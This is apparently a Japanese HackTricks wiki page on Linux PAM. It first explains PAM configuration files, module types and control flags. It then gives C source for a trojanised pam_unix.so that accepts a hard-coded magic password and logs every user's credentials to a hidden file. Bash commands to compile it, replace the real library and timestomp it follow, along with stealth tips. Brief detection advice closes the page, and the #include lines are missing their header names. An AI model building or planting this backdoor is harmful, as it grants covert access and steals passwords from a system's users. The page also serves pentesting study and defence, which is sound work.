# PAM - Pluggable Authentication Modules {{#include ../../banners/hacktricks-training.md}} ### 基本情報 **PAM (Pluggable Authentication Modules)** は、**コンピュータサービスにアクセスしようとするユーザーの身元を確認するセキュリティメカニズム**として機能し、さまざまな基準に基づいてアクセスを制御します。これはデジタルゲートキーパーのようなもので、認可されたユーザーのみが特定のサービスに関与できるようにし、システムの過負荷を防ぐために使用を制限することがあります。 #### 設定ファイル - **SolarisおよびUNIXベースのシステム**は、通常、`/etc/pam.conf`にある中央設定ファイルを利用します。 - **Linuxシステム**は、ディレクトリアプローチを好み、サービス固有の設定を`/etc/pam.d`内に保存します。たとえば、ログインサービスの設定ファイルは`/etc/pam.d/login`にあります。 ログインサービスのPAM設定の例は次のようになります: ``` auth required /lib/security/pam_securetty.so auth required /lib/security/pam_nologin.so auth sufficient /lib/security/pam_ldap.so auth required /lib/security/pam_unix_auth.so try_first_pass account sufficient /lib/security/pam_ldap.so account required /lib/security/pam_unix_acct.so password required /lib/security/pam_cracklib.so password required /lib/security/pam_ldap.so password required /lib/security/pam_pwdb.so use_first_pass session required /lib/security/pam_unix_session.so ``` #### **PAM管理領域** これらの領域、または管理グループには、**auth**、**account**、**password**、および**session**が含まれ、それぞれ認証およびセッション管理プロセスの異なる側面を担当しています: - **Auth**: ユーザーの身元を確認し、通常はパスワードの入力を促します。 - **Account**: アカウントの検証を処理し、グループメンバーシップや時間制限などの条件を確認します。 - **Password**: パスワードの更新を管理し、複雑さのチェックや辞書攻撃の防止を含みます。 - **Session**: サービスセッションの開始または終了時のアクションを管理し、ディレクトリのマウントやリソース制限の設定などを行います。 #### **PAMモジュール制御** 制御はモジュールの成功または失敗に対する応答を決定し、全体の認証プロセスに影響を与えます。これには以下が含まれます: - **Required**: 必須モジュールの失敗は最終的な失敗を引き起こしますが、すべての後続モジュールがチェックされた後にのみ発生します。 - **Requisite**: 失敗時にプロセスを即座に終了します。 - **Sufficient**: 成功は同じ領域の残りのチェックをバイパスしますが、後続のモジュールが失敗した場合は除きます。 - **Optional**: スタック内で唯一のモジュールである場合にのみ失敗を引き起こします。 #### 例のシナリオ 複数のauthモジュールを持つセットアップでは、プロセスは厳格な順序に従います。`pam_securetty`モジュールがログイン端末を無許可と見なすと、rootログインはブロックされますが、その「required」ステータスのためにすべてのモジュールは処理され続けます。`pam_env`は環境変数を設定し、ユーザーエクスペリエンスを向上させる可能性があります。`pam_ldap`と`pam_unix`モジュールは協力してユーザーを認証し、`pam_unix`は以前に提供されたパスワードを使用しようとし、認証方法の効率と柔軟性を高めます。 ## PAMのバックドア – `pam_unix.so`のフック 高価値のLinux環境における古典的な持続性トリックは、**正当なPAMライブラリをトロイの木馬化されたドロップインと入れ替える**ことです。すべてのSSH / コンソールログインは`pam_unix.so:pam_sm_authenticate()`を呼び出すため、数行のCコードで資格情報をキャプチャしたり、*マジック*パスワードバイパスを実装したりするのに十分です。 ### コンパイルチートシート ```c #define _GNU_SOURCE #include #include #include #include #include static int (*orig)(pam_handle_t *, int, int, const char **); static const char *MAGIC = "Sup3rS3cret!"; int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) { const char *user, *pass; pam_get_user(pamh, &user, NULL); pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL); /* Magic pwd → immediate success */ if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS; /* Credential harvesting */ int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600); dprintf(fd, "%s:%s\n", user, pass); close(fd); /* Fall back to original function */ if(!orig) { orig = dlsym(RTLD_NEXT, "pam_sm_authenticate"); } return orig(pamh, flags, argc, argv); } ``` コンパイルとステルス置換: ```bash gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak mv pam_unix.so /lib/security/pam_unix.so chmod 644 /lib/security/pam_unix.so # keep original perms touch -r /bin/ls /lib/security/pam_unix.so # timestomp ``` ### OpSec Tips 1. **Atomic overwrite** – 一時ファイルに書き込み、`mv`で配置することで、SSHをロックアウトする半書き込みライブラリを避ける。 2. `/usr/bin/.dbus.log`のようなログファイルの配置は、正当なデスクトップアーティファクトと混ざる。 3. PAMの誤動作を避けるために、シンボルエクスポートを同一に保つ(`pam_sm_setcred`など)。 ### Detection * `pam_unix.so`のMD5/SHA256をディストリビューションパッケージと比較する。 * `/lib/security/`の下で、全ユーザー書き込み可能または異常な所有権をチェックする。 * `auditd`ルール: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`。 ### References - [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434) - [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) {{#include ../../banners/hacktricks-training.md}}